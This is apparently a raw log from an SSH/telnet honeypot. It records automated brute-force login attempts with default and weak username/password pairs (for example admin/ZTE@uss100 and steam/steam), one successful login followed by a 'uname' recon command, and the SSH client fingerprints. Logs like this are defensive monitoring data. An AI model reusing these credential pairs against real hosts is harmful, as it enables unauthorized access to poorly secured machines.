{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:48.958302Z","src_ip":"186.30.115.187","session":"f46e04dd6ac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:49.051366Z","src_ip":"186.30.115.187","session":"f46e04dd6ac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:49.463445Z","src_ip":"186.30.115.187","session":"f46e04dd6ac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:50.557654Z","src_ip":"186.30.115.187","session":"f46e04dd6ac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34940,"dst_ip":"159.203.135.109","dst_port":22,"session":"e129d84bc74a","protocol":"ssh","message":"New connection: 45.156.87.254:34940 (159.203.135.109:22) [session: e129d84bc74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:51.640575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:51.648967Z","src_ip":"45.156.87.254","session":"e129d84bc74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:51.731807Z","src_ip":"45.156.87.254","session":"e129d84bc74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:51.979638Z","src_ip":"45.156.87.254","session":"e129d84bc74a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:53.068245Z","src_ip":"45.156.87.254","session":"e129d84bc74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34984,"dst_ip":"159.203.135.109","dst_port":22,"session":"038e8f8fd595","protocol":"ssh","message":"New connection: 45.156.87.254:34984 (159.203.135.109:22) [session: 038e8f8fd595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:56.758937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:56.763869Z","src_ip":"45.156.87.254","session":"038e8f8fd595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:56.847383Z","src_ip":"45.156.87.254","session":"038e8f8fd595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:57.127795Z","src_ip":"45.156.87.254","session":"038e8f8fd595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.312002420425415,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:57.249367Z","src_ip":"20.123.41.163","session":"951469baecf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:58.306992Z","src_ip":"45.156.87.254","session":"038e8f8fd595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.950204372406006,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:59.463475Z","src_ip":"20.123.41.163","session":"47e58e8136d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50938,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc23ba62516b","protocol":"ssh","message":"New connection: 45.156.87.254:50938 (159.203.135.109:22) [session: dc23ba62516b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:01.943809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:01.950793Z","src_ip":"45.156.87.254","session":"dc23ba62516b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:02.039917Z","src_ip":"45.156.87.254","session":"dc23ba62516b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:02.303670Z","src_ip":"45.156.87.254","session":"dc23ba62516b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:02.517063Z","src_ip":"45.156.87.254","session":"dc23ba62516b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:02.521249Z","src_ip":"45.156.87.254","session":"dc23ba62516b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:02.607528Z","src_ip":"45.156.87.254","session":"dc23ba62516b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:02.612877Z","src_ip":"45.156.87.254","session":"dc23ba62516b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50954,"dst_ip":"159.203.135.109","dst_port":22,"session":"77b1606fee8a","protocol":"ssh","message":"New connection: 45.156.87.254:50954 (159.203.135.109:22) [session: 77b1606fee8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:07.613420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:07.620693Z","src_ip":"45.156.87.254","session":"77b1606fee8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:07.698652Z","src_ip":"45.156.87.254","session":"77b1606fee8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:08.036199Z","src_ip":"45.156.87.254","session":"77b1606fee8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:09.123418Z","src_ip":"45.156.87.254","session":"77b1606fee8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":34916,"dst_ip":"10.17.0.5","dst_port":22,"session":"18e5ae96ba8a","protocol":"ssh","message":"New connection: 185.16.214.226:34916 (10.17.0.5:22) [session: 18e5ae96ba8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:10.363965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:10.368546Z","src_ip":"185.16.214.226","session":"18e5ae96ba8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:10.496833Z","src_ip":"185.16.214.226","session":"18e5ae96ba8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZTE@uss100","message":"login attempt [admin/ZTE@uss100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:11.030957Z","src_ip":"185.16.214.226","session":"18e5ae96ba8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:12.159126Z","src_ip":"185.16.214.226","session":"18e5ae96ba8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43734,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeee99e0284b","protocol":"ssh","message":"New connection: 45.156.87.254:43734 (159.203.135.109:22) [session: aeee99e0284b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:13.835820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:13.839773Z","src_ip":"45.156.87.254","session":"aeee99e0284b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:13.926427Z","src_ip":"45.156.87.254","session":"aeee99e0284b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:14.181974Z","src_ip":"45.156.87.254","session":"aeee99e0284b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:15.273061Z","src_ip":"45.156.87.254","session":"aeee99e0284b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52166,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c4afbfc78c0","protocol":"ssh","message":"New connection: 45.156.87.254:52166 (159.203.135.109:22) [session: 5c4afbfc78c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:19.929345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:19.934415Z","src_ip":"45.156.87.254","session":"5c4afbfc78c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:20.023274Z","src_ip":"45.156.87.254","session":"5c4afbfc78c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:20.308081Z","src_ip":"45.156.87.254","session":"5c4afbfc78c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:21.396236Z","src_ip":"45.156.87.254","session":"5c4afbfc78c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52180,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d346eb276fa","protocol":"ssh","message":"New connection: 45.156.87.254:52180 (159.203.135.109:22) [session: 2d346eb276fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:25.686417Z"}
